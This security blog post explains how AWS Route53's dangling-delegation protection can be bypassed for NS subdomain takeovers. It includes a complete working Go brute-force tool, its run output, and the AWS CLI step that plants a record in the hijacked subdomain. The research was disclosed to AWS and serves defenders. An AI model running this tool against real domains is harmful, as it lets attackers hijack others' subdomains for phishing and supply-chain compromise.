Blogs· 10min October 27, 2023
A subdomain takeover is a class of attack in which an adversary is able to serve unauthorized content from victim's domain name. It can be used for phishing, supply chain compromise, and other forms of attacks which rely on deception. You might've heard about CNAME based or NS based subdomain takeovers.
While classic DNS takeovers are becoming harder and harder to execute as vendors implement better protection against them, there are still novel attack techniques to be discovered. In this article we'll explore a dangling record protection bypass on AWS's Route53 service.
This blog post should accommodate people with different experience levels, feel free to skip a few sections if you understand the classic DNS takeovers on Route53.
A Name Server (NS) record describes the DNS server that contains actual DNS records for a given domain, later referred to as an authoritative nameserver (aNS).
Consider the following record in the example.com. DNS zone:
And the following record in the sub.example.com. zone hosted behind ns-240.awsdns-30.com:
If you try to resolve any record in sub.example.com. the DNS resolver will contact ns-240.awsdns-30.com (aNS) to fetch the records.
We can observe that if we run dig +trace A sub.example.com
$ dig +trace A sub.example.com
; <<>> DiG 9.10.6 <<>> +trace A sub.example.com
;; global options: +cmd
. 30 IN NS c.root-servers.net.
. 30 IN NS l.root-servers.net.
<snip>
;; Received 525 bytes from 127.0.0.1#53(127.0.0.1) in 91 ms
com. 172800 IN NS a.gtld-servers.net.
com. 172800 IN NS k.gtld-servers.net.
<snip>
;; Received 1182 bytes from 193.0.14.129#53(k.root-servers.net) in 62 ms
example.com. 172800 IN NS ns-1790.awsdns-31.co.uk.
example.com. 172800 IN NS ns-1392.awsdns-46.org.
<snip>
;; Received 753 bytes from 192.5.6.30#53(a.gtld-servers.net) in 41 ms
sub.example.com. 300 IN NS ns-240.awsdns-30.com.
;; Received 348 bytes from 205.251.197.112#53(ns-1392.awsdns-46.org) in 43 ms
sub.example.com. 300 IN A 127.0.0.1
;; Received 185 bytes from 205.251.192.240#53(ns-240.awsdns-30.com) in 40 ms
A dangling NS record (label NS nameserver) is a NS record that either:
01
(1) points to a non existing nameserver (e.g. sub.example.com NS ns.expired-domain.com) or
02
(2) points to a nameserver that does not have the label zone configured, e.g. sub.example.com NS ns-1790.awsdns-31.co.uk where queries for sub.example.com to that nameserver are REFUSED
dig sub.example.com @ns-1790.awsdns-31.co.uk
; <<>> DiG 9.10.6 <<>> sub.example.com @ns-1790.awsdns-31.co.uk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 2694
It's worth noting that any dangling NS records are undesired and should be treated as misconfiguration.
In this article we will focus on the second scenario in the context of Route53/AWS name servers.
When a hosted zone is created in Route53 it's assigned a set of name servers from a shared pool.
e.g.
Hosted zone name
sub.example.com
Name servers
ns-1881.awsdns-43.co.uk
ns-2.awsdns-00.com
ns-1190.awsdns-20.org
ns-734.awsdns-27.net
The format of the nameservers that are assigned follows ns-{id}.awsdns-{id2}.{domain} pattern, where:
01
{id} is a number between 0 and 2048
02
{id2} is a two-digit number between 00 and 64.
Note, that only a subset of all combinations are used.
Usually, you would reference the sub.example.com nameservers in your example.com hosted zone like this:
sub.example.com. 300 IN NS ns-1881.awsdns-43.co.uk.
sub.example.com. 300 IN NS ns-2.awsdns-00.com.
sub.example.com. 300 IN NS ns-1190.awsdns-20.org.
sub.example.com. 300 IN NS ns-734.awsdns-27.net.
Now, what happens if sub.example.com. zone is deleted, but the NS records in example.com. are not?
There are dangling nameserver records left which anyone could register a sub.example.com. zone against (using brute force) and perform a subdomain hijack.
This is how AWS NS subdomain takeovers worked a few years ago. There's an excellent article on the topic by Shiv Sahni:AWS NS Takeover
If you try to replicate the proof of concept linked in the Shiv's article today you aren't going to be successful.
AWS has implemented a protection against dangling delegations, but they are not vocal about the implementation details of that protection.
AWS has documented this protection in their docs, although they've since updated the documentation after our report, the current version of the documentation can be found here: https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/protection-from-dangling-dns.html.
but before Oct 2023 the documentation said:
In Route 53, when you use nameserver (NS) records to delegate the management of a subdomain to another public hosted zone, a problem could arise if the subdomain hosted zone is deleted without also deleting the delegation. Another user could potentially re-create the subdomain hosted zone and gain control via the still-active delegation belonging to the first customer. However, Route 53 protects against such “dangling” delegations by not allowing any new hosted zones with overlapping domain names to be created by using those nameservers before verifying that the delegation has first been removed.
It got me speculating on how I would implement such protection myself and I had two ideas of what could happen upon zone creation:
01
Query public DNS for a newly created domain and note all NS records discovered
02
Query all customer NS records in Route53 that could overlap with newly created one and note all NS records discovered
The next step is to avoid assigning the name servers (from the shared pool) that were noted to the newly created zone.
Depending on how AWS stores the data the second option might be computationally expensive to execute, it also has a problem that the protection would only work in the realm of Route53, if a dangling record was created on another DNS provider it would not be effective.
Therefore I had a feeling AWS could use public DNS to discover those dangling delegations. Although this is a pure speculation, with that came my next realisation.
Imagine there's a dangling record for dangling.example.com
What if you were a little cheeky and instead of creating a zone for dangling.example.com to perform the takeover, you tried to create example.com and inside it create a dangling.example.com record? AWS wouldn't be able to discover dangling.example.com has a dangling NS record since it's not possible to perform DNS enumeration easily and when creating a record the zone already has nameservers assigned.
This prompted me to create a PoC to test that.
./ns-takeover dangling.example.com
Looking up dangling.example.com using a.root-servers.net
Looking up dangling.example.com using e.gtld-servers.net.
Looking up dangling.example.com using ns-172.awsdns-21.com.
Looking up dangling.example.com using ns-1084.awsdns-07.org.
Attempting a takeover for dangling.example.com. by creating example.com, looking for NS=[{Name:dangling.example.com. NS:ns-1084.awsdns-07.org.} {Name:dangling.example.com. NS:ns-1929.awsdns-49.co.uk.} {Name:dangling.example.com. NS:ns-362.awsdns-45.com.} {Name:dangling.example.com. NS:ns-528.awsdns-02.net.}]
#0: Nameservers do not match, got [ns-1675.awsdns-17.co.uk ns-1232.awsdns-26.org ns-1010.awsdns-62.net ns-496.awsdns-62.com], removing
#1: Nameservers do not match, got [ns-459.awsdns-57.com ns-1548.awsdns-01.co.uk ns-653.awsdns-17.net ns-1499.awsdns-59.org], removing
#2: Nameservers do not match, got [ns-241.awsdns-30.com ns-1228.awsdns-25.org ns-1940.awsdns-50.co.uk ns-516.awsdns-00.net], removing
#3: Nameservers do not match, got [ns-1654.awsdns-14.co.uk ns-1410.awsdns-48.org ns-588.awsdns-09.net ns-211.awsdns-26.com], removing
[...]
#102: Takeover successful: ns-528.awsdns-02.net, zoneID: /hostedzone/Z0123
And with that we've performed a takeover. The next step is to create a record for dangling.example.com
create-record.json:
{
"Comment": "add dangling.example.com record",
"Changes": [
{
"Action": "CREATE",
"ResourceRecordSet": {
"Name": "dangling.example.com.",
"Type": "A",
"TTL": 300,
"ResourceRecords": [
{
"Value": "127.0.0.1"
}
]
}
}
]
}
aws route53 change-resource-record-sets --hosted-zone-id Z0123 --change-batch file://create-record.json
$ dig dangling.example.com
; <<>> DiG 9.10.6 <<>> a dangling.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21681
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;dangling.example.com. IN A
;; ANSWER SECTION:
dangling.example.com. 300 IN A 127.0.0.1
package main
import (
"context"
"errors"
"fmt"
"github.com/aws/aws-sdk-go-v2/config"
"github.com/aws/aws-sdk-go-v2/service/route53"
"github.com/aws/aws-sdk-go-v2/service/route53/types"
"github.com/miekg/dns"
"log"
"net"
"os"
"strings"
"time"
)
func resolveNSIP(nameserver string) (net.IP, error) {
ip := net.ParseIP(nameserver)
if ip != nil {
return ip, nil
}
ips, err := net.LookupIP(nameserver)
if err != nil {
return ip, err
}
if len(ips) <= 0 {
return ip, errors.New("no records found")
}
return ips[0], nil
}
// nameserver can be a hostname or an ip address
func nonRecursiveLookup(name, nameserver string, rType uint16) (*dns.Msg, error) {
nameserverIP, err := resolveNSIP(nameserver)
if err != nil {
return nil, err
}
msg := &dns.Msg{}
msg.SetQuestion(dns.Fqdn(name), rType)
msg.RecursionDesired = false
c := &dns.Client{}
resp, _, err := c.Exchange(msg, net.JoinHostPort(nameserverIP.String(), "53"))
if err != nil {
return nil, fmt.Errorf("error looking up authoritative NS records for %s using %s: %w", name, nameserver, err)
}
return resp, err
}
type NS struct {
Name string
NS string
}
const maxRecursionDepth = 40
func DanglingRecords(name string) ([]NS, error) {
delegatedNS := []NS{
{
Name: ".",
NS: "a.root-servers.net",
},
}
name = strings.TrimSuffix(name, ".")
for i := 0; ; i++ {
if i == maxRecursionDepth {
return nil, errors.New("max recursion depth reached, something weird is going on")
}
log.Printf("Looking up %s using %s", name, delegatedNS[0].NS)
// NOTE: we probably want to test other NS records in case
// - a takeover was already performed
// - only a single NS record is misconfigured
msg, err := nonRecursiveLookup(name, delegatedNS[0].NS, dns.TypeNS)
if err != nil {
return nil, err
}
if msg.Rcode != dns.RcodeSuccess {
return delegatedNS, nil
}
delegatedNS = []NS{}
for _, rec := range msg.Ns {
if nsRec, ok := rec.(*dns.NS); ok {
delegatedNS = append(delegatedNS, NS{
Name: nsRec.Hdr.Name,
NS: nsRec.Ns,
})
}
}
if len(delegatedNS) == 0 {
return nil, nil
}
}
}
func main() {
ctx := context.Background()
if len(os.Args) != 2 {
log.Fatalln("usage: ns-takeover <FQDN>")
}
domainToTakeover := strings.TrimSuffix(os.Args[1], ".") + "."
sess, err := config.LoadDefaultConfig(ctx)
if err != nil {
log.Fatalln("error loading session config for aws client", err)
}
dnsClient := route53.NewFromConfig(sess)
danglingNS, err := DanglingRecords(domainToTakeover)
if err != nil {
log.Fatalln(err)
}
if len(danglingNS) == 0 {
log.Println("no dangling records found, takeover not possible")
os.Exit(1)
}
// AWS has a protection against creating dangling records: https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/protection-from-dangling-dns.html
// Creating a public zone for a parent domain circumvents the protection
parentZone := strings.Join(strings.Split(strings.TrimSuffix(danglingNS[0].Name, "."), ".")[1:], ".")
log.Printf("Attempting a takeover for %s by creating %s, looking for NS=%+v", domainToTakeover, parentZone, danglingNS)
for i := 0; ; i++ {
ref := fmt.Sprintf("ns-brute-%s", time.Now().String())
comment := "ns-brute"
out, err := dnsClient.CreateHostedZone(ctx, &route53.CreateHostedZoneInput{
CallerReference: &ref,
Name: &parentZone,
HostedZoneConfig: &types.HostedZoneConfig{
Comment: &comment,
PrivateZone: false,
},
})
if err != nil {
log.Fatalf("Creating Hosted Zone failed: %s", err)
}
ds := out.DelegationSet
if ds == nil || len(ds.NameServers) == 0 {
log.Fatal("Creating Hosted Zone failed: delegation set is empty")
}
for _, ns := range ds.NameServers {
zoneNS := strings.ToLower(strings.TrimSuffix(ns, "."))
for _, targetNS := range danglingNS {
unifiedTargetNS := strings.ToLower(strings.TrimSuffix(targetNS.NS, "."))
if zoneNS == unifiedTargetNS {
log.Printf("#%d: Takeover successful: %s, zoneID: %s", i, ns, *out.HostedZone.Id)
os.Exit(0)
}
}
}
log.Printf("#%d: Nameservers do not match, got %v, removing", i, ds.NameServers)
_, err = dnsClient.DeleteHostedZone(ctx, &route53.DeleteHostedZoneInput{Id: out.HostedZone.Id})
if err != nil {
log.Fatal("Removing hosted zone failed", err)
}
// be gentle :)
time.Sleep(1 * time.Second)
}
}
One could easily imagine a scenario where a dangling record is discovered using a perimeter scanner of sorts. It'd be easy to downplay the finding by citing the protection.
In such case you might wrongly believe that your systems are secure. The false sense of security can lead to lack of urgency in addressing the security risk. In contrast, if there's no protection and you are aware of the vulnerability you will prioritize fixing it.
After discovering the vulnerability we've contacted AWS support and they updated the documentation to reflect the issues discovered in this post.
The documentation is now a decent resource on how to mitigate the risk of NS misconfiguration.
AWS has vulnerability reporting guidelines, which you can find under https://aws.amazon.com/security/vulnerability-reporting/
New venues of executing subdomain takeovers continue to emerge even with protections in place. While using cloud services offers great security benefits, blindly trusting documentation might not cut it. Conduct your own tests and double-check claims. If you find anything, report it. It not only keeps you safe, but also helps others.
Written by
Maciej is an Offensive Security Engineer at Form3. Transitioning from a background in Platform and Software Engineering, he thrives on challenges that push the boundaries of his expertise. Outside of work, he's passionate about sailing, rock climbing, and playing board games.